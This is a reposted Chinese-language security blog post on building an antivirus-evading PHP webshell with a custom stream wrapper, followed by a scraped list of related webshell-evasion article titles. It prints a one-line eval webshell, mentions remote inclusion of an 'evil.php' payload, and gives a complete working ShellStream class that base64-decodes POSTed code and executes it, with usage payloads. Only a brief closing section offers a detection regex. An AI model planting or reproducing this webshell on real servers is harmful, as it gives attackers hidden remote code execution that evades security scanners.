流包装器实现WebShell免杀
说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处。
前言
本文是看PHP使用流包装器实现WebShell有感,权当做个笔记。
很早的以前,我们就见过 php://input,这其实就是流包装器的一种。php://input 是个可以访问请求原始数据的只读流。下面这行代码就是通过php://input获取post的数据,执行eval的一句话木马。
<?php @eval(file_get_contents('php://input'))?>
include 函数,通常用于包含本地文件和远程文件。如果可以远程文件包含,则很容易构造免杀webshell。通过 include "htttp://remote.com/evil.php",把恶意代码放到远程机器上即可。但是,远程文件包含依赖php.ini的两个配置
;;;;;;;;;;;;;;;;;;; Fopen wrappers ;;;;;;;;;;;;;;;;;;; ; Whether to allow the treatment of URLs (like http:// or ftp://) as files.; http://php.net/allow-url-fopenallow_url_fopen =Off ; Whether to allow include/require to open URLs (like http:// or ftp://) as files.; http://php.net/allow-url-includeallow_url_include = Off
通常情况下,这两个配置会被关闭,所以远程包含就用不了。那如果 " include 流 " 这种方式能否实现呢?
答案是肯定的,这个流我们可以通过PHP函数 stream_wrapper_register 注册包装器来实现。那为什么不使用php://input流来实现呢,要自己构造一个流函数。原因有二:
1、php://input流需要file_get_contents来获取,容易被查杀
2、http://php.net/manual/zh/wrappers.php.php 这里有说明,php://input 受到 allow_url_fopen 的限制
编写
注册包装器的函数参考 http://php.net/manual/en/class.streamwrapper.php,
编写实例参考http://www.cnblogs.com/jingjingdidunhe/p/6346884.html。
<?php class ShellStream{ protected $position; protected $code; public function stream_open($path, $mode, $options, &$opened_path) { $url = parse_url($path); $name = $url["host"]; $this->code = base64_decode($name); $this->position = 0; return true; } public function stream_read($count) { $ret = substr($this->code, $this->position, $count); $this->position += strlen($ret); return $ret; } public function stream_tell() { return $this->position; } public function stream_eof() { return $this->position >= strlen($this->code); } public function stream_seek($offset, $whence) { switch ($whence) { case SEEK_SET: if ($offset < strlen($this->code) && $offset >= 0) { $this->position = $offset; return true; } else { return false; } break; case SEEK_CUR: if ($offset >= 0) { $this->position += $offset; return true; } else { return false; } break; case SEEK_END: if (strlen($this->code) + $offset >= 0) { $this->position = strlen($this->code) + $offset; return true; } else { return false; } break; default: return false; } } // include public function stream_stat() { return stat(FILE); } // file exists public function url_stat(string $path,int $stat) { return stat(FILE); } public static function shell(){ stream_wrapper_register('shell', ShellStream::class); if (isset($_POST['code'])) { $code = $_POST['code']; include 'shell://'.$code; } else { include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7'; } }} ShellStream::shell();?>
使用方法,传入code参数。例如:
code=PD9waHAgcGhwaW5mbygpOw%3D%3D
其中 PD9waHAgcGhwaW5mbygpOw%3D%3D 就是<?php phpinfo(); 的base64编码。要想执行其他命令传入完整php代码的base64编码即可
检测
1、动态检测:一般大型互联网会有自主研发的入侵检测系统,hook底层的命令,所以可以在webshell触发命令后检测到。
2、静态检测:大多数安全产品和应急响应使用的是静态检测,这边一个思路是匹配对应的正则
(include|require)(_once){0,1}[\s*]+[\"|\']+[0-9A-Za-z_]*\://
已加入到笔者的webshell静态检测工具 findWebshell
参考
http://www.freebuf.com/articles/web/176571.html
http://www.cnblogs.com/jingjingdidunhe/p/6346884.html
转载于:https://www.cnblogs.com/he1m4n6a/p/9279894.html
流包装器实现WebShell免杀相关推荐
- Webshell免杀绕过waf
转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...
- Webshell免杀研究
前一个阶段闲着没事干,所以将之前做的关于webshell免杀的一篇研究性文章发表了出来,供大家一起学习探讨,文章目录如下,目前已发表与先知社区,欢迎探讨交流~ 文章链接:https://xz.aliy ...
- webshell免杀的一些学习和思考——以PHP为例
目录 前言 一.关于webshell 1.数据传递 (1)HTTP请求中获取数据 (2)从远程URL中获取数据 (3)从磁盘文件中获取数据 (4)从数据库中读取 (5)从图片头部中获取 2.代码执行 ...
- Webshell免杀-PHP
前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...
- 【网络安全】一些webshell免杀的技巧
前言 由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束. ...
- 免杀实战之面向PHP的WebShell免杀
0X00普通的一句话木马 <pre id="PTXkG"><?php eval($_POST['a']); ?> //函数的相似替换 <?php as ...
- Webshell免杀-JSP
前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...
- JSP webshell免杀——webshell免杀
好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬. 结果我免杀跟着学的视频就是这位大佬的. 更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在. 果然,实习就是好, ...
- JSP webshell免杀——JSP的基础
唉,每次开启JSP都要好一会儿. 话说我也不知道为啥,我的每次开启条件一次比一次苛刻.一开始必应就可以打开,再后来只能由谷歌打开,现在可好了得开着代理用谷歌才能进去. 一个JSP页面可由5种元素组合而 ...
最新文章
- python怎么继承_Python: 如何继承str/string?
- 关于版本控制工具GitHub安装报错
- 内存屏障linux,Linux内存屏障
- 深度学习(十)keras学习笔记
- 直接用IP访问知乎,我发现了一个秘密···
- python --- 使用conda配置pytorch
- 在安卓上安装java_如何在Android上安装JavaCV并使用FrameGrabber
- MaxDos启动盘拆解
- php file_exists无效解决办法
- Java求一个数的质因数
- Java LocalDateTime
- SQL Server 2005安装图解
- Linux学习笔记(12)
- AspNetPager分页控件教程
- 常用软件过程模型-快速原型模型,快速原型模型有哪几种?各有何特点?
- css旋转45度_Matplotlib中的文字旋转问题
- bert tensorflow2 serving部署
- android的备忘录带闹钟提醒,App Store 上的“Reminders 3 - 款带有闹钟提醒功能的备忘录”...
- Python 小提琴图(violinplot)
- 《近匠》专访Ayla Networks云平台工程部主管Sudha Sundaresan——企业级物联网云平台的设计与部署
热门文章
- [Python]小甲鱼Python视频第048课(魔法方法:迭代器) )课后题及参考解答
- 留恋 nyoj 854
- unity3d 随机生成地形之随机山脉
- Vmware 中安装Unix
- PHP 如何准确取得服务器地址IP[非代理]
- Linq 异常“此提供程序只支持对返回实体或投影(包含所有标识列)的有序查询使用 Skip()...”...
- 升级到ubuntu9.10Alpha5的艰苦路程
- mysql实战17 | 如何正确地显示随机消息?
- Java if语句深度解析
- NIO通信,仿QQ基本聊天业务,交流篇